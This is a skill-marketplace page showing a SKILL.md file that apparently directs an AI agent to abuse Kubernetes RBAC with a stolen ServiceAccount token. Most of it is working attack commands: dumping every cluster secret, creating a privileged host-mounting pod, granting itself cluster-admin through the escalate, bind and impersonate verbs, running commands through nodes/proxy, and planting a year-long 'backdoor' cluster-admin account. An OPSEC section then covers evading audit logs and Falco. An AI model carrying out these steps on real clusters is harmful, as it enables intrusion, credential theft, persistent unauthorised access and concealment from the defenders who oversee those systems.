Skip to main content

k8s-rbac-abuse

Kubernetes RBAC privilege escalation paths — ClusterRole/Role enumeration via `kubectl auth can-i --list`, abuse of pods/exec, pods/portforward, secrets get, escalate verb, bind verb, impersonate verb, system:masters group abuse, ServiceAccount token theft and reuse.

설치로 이동

소스 정보

저장소
BitterSecurity/Decepticon
최근 소스 활동
2026년 5월 26일 09:25
감지된 SKILL.md 언어
영어
스타
5,565
포크
1,053

설치 방법

기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.

소스 파일 검토

설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.

SKILL.md 표시 중

SKILL.md
소스 지침 · 읽기 전용 미리보기
name
k8s-rbac-abuse
description
Kubernetes RBAC privilege escalation paths — ClusterRole/Role enumeration via `kubectl auth can-i --list`, abuse of pods/exec, pods/portforward, secrets get, escalate verb, bind verb, impersonate verb, system:masters group abuse, ServiceAccount token theft and reuse.
allowed-tools
Bash Read Write
metadata
{"when_to_use":"kubernetes k8s rbac role privilege escalation can-i pods/exec secrets list escalate bind impersonate serviceaccount cluster-admin system:masters","subdomain":"cloud-native","tags":"kubernetes, rbac, privilege-escalation, authorization","mitre_attack":"T1078.004, T1098.003, T1552.005"}
# Kubernetes RBAC Privilege Escalation You have a Kubernetes ServiceAccount token (from a pod escape, kubeconfig leak, or compromised CI runner). Find the path from this SA to cluster-admin. ## Phase 1: Enumerate current permissions ```bash TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace) APISERVER=https://kubernetes.default.svc # Set up kubectl with the stolen token kubectl config set-credentials hacked --token="$TOKEN" kubectl config set-cluster c --server=$APISERVER --insecure-skip-tls-verify kubectl config set-context c --cluster=c --user=hacked --namespace=$NS kubectl config use-context c # Enumerate everything you can do kubectl auth can-i --list # in your namespace kubectl auth can-i --list --all-namespaces # cluster-wide (often forbidden — that's a signal too) kubectl auth can-i '*' '*' --all-namespaces # are you cluster-admin? # Get your role bindings kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]?.name | contains("YOUR_SA_NAME"))' ``` ## Phase 2: Classic escalation paths ### 2.1 `pods/exec` or `pods/attach` on a privileged pod If you can `exec` into a pod that has a privileged SecurityContext or a sensitive volume mount, you take that pod's identity: ```bash # Find pods you can exec into kubectl auth can-i create pods/exec # Find privileged pods kubectl get pods -A -o json | jq '.items[] | select(.spec.containers[]?.securityContext?.privileged == true) | "\(.metadata.namespace)/\(.metadata.name)"' # Exec → escape (see k8s-pod-escape skill) kubectl exec -it -n kube-system privileged-pod-name -- /bin/sh ``` ### 2.2 `secrets get/list` cluster-wide ```bash # Dump every secret in the cluster kubectl get secrets -A -o json > all_secrets.json # Service-account tokens, image-pull secrets, custom-application secrets — all here jq -r '.items[] | select(.type=="kubernetes.io/service-account-token") | "\(.metadata.namespace)/\(.metadata.name): \(.data.token | @base64d)"' all_secrets.json | head # Pick a more-privileged SA token and re-authenticate NEW_TOKEN=$(kubectl get secret -n kube-system $(kubectl get sa -n kube-system -o name | head -1 | cut -d/ -f2)-token-XXXXX -o jsonpath='{.data.token}' | base64 -d) kubectl --token="$NEW_TOKEN" auth can-i '*' '*' --all-namespaces ``` ### 2.3 `create pods` — run a privileged pod yourself Even without exec on existing pods, if you can CREATE pods you can build one that mounts the host: ```bash cat <<EOF | kubectl apply -f - apiVersion: v1 kind: Pod metadata: name: pwn spec: hostPID: true hostNetwork: true containers: - name: pwn image: alpine command: ["nsenter", "-t", "1", "-m", "-u", "-i", "-n", "-p", "sh"] securityContext: privileged: true volumeMounts: - name: host mountPath: /host volumes: - name: host hostPath: path: / EOF kubectl exec -it pwn -- /bin/sh ``` If PSP / Pod Security Admission blocks `privileged: true`, downgrade gradually: hostPath: /, hostPID alone, capabilities: [SYS_ADMIN], etc. PSA's `restricted` profile blocks all of these; `baseline` blocks privileged + hostPath but allows hostPID; `privileged` allows everything. ### 2.4 `escalate` verb The `escalate` verb on `roles`/`clusterroles` lets you create a role with permissions you DON'T have: ```bash kubectl auth can-i escalate clusterroles # If "yes": cat <<EOF | kubectl apply -f - apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: total-pwn rules: - apiGroups: ["*"] resources: ["*"] verbs: ["*"] EOF # Then bind it to your SA kubectl create clusterrolebinding pwn --clusterrole=total-pwn --serviceaccount=$NS:default ``` ### 2.5 `bind` verb The `bind` verb lets you bind an existing higher-privilege ClusterRole to your SA: ```bash kubectl auth can-i create clusterrolebindings # OR kubectl auth can-i bind clusterroles # Either gives you escalation to cluster-admin: kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=$NS:default ``` ### 2.6 `impersonate` verb ```bash kubectl auth can-i impersonate users # If yes, impersonate cluster-admin: kubectl --as=system:admin auth can-i '*' '*' --all-namespaces kubectl --as=system:admin get secrets -A # Or impersonate a group: kubectl --as=anything --as-group=system:masters get secrets -A ``` ### 2.7 `nodes/proxy` — bypass RBAC via kubelet ```bash kubectl auth can-i get nodes/proxy # If yes, talk to the kubelet directly (bypasses the API server's RBAC) kubectl proxy --port=8080 & curl -sk http://localhost:8080/api/v1/nodes/$NODE/proxy/run/POD_NS/POD_NAME/CONTAINER -X POST -d 'cmd=id' ``` ## Phase 3: Token persistence ```bash # Create a long-lived SA token (k8s 1.24+ doesn't auto-mount tokens forever) kubectl create token your-sa --duration=720h # 30-day token # Or create an SA + ClusterRoleBinding pair that survives revocation of yours kubectl create sa backdoor -n kube-system kubectl create clusterrolebinding backdoor --clusterrole=cluster-admin --serviceaccount=kube-system:backdoor TOKEN=$(kubectl create token backdoor -n kube-system --duration=8760h) # 1 year ``` ## OPSEC - Every `kubectl` call hits the API server audit log. `kubectl auth can-i --list` calls SelfSubjectRulesReview — distinctive in audit logs. - Falco and Sysdig rules flag `create-clusterrolebinding`, `impersonate`, and `nodes/proxy` access. - Token theft from etcd / pod-filesystem leaves no audit trail until the token is USED — separate the steal and the use in time if possible. - Prefer `--user-agent` matching the kubectl version already in use on the cluster to blend in. ## References - [Kubernetes RBAC docs](https://kubernetes.io/docs/reference/access-authn-authz/rbac/) - BadPods (Bishop Fox) — every PSA bypass class - DEFCON 30 "Hacking Kubernetes" — Madhu Akula / Andrew Martin - KubiScan — tools for the defender side
GitHub에서 보기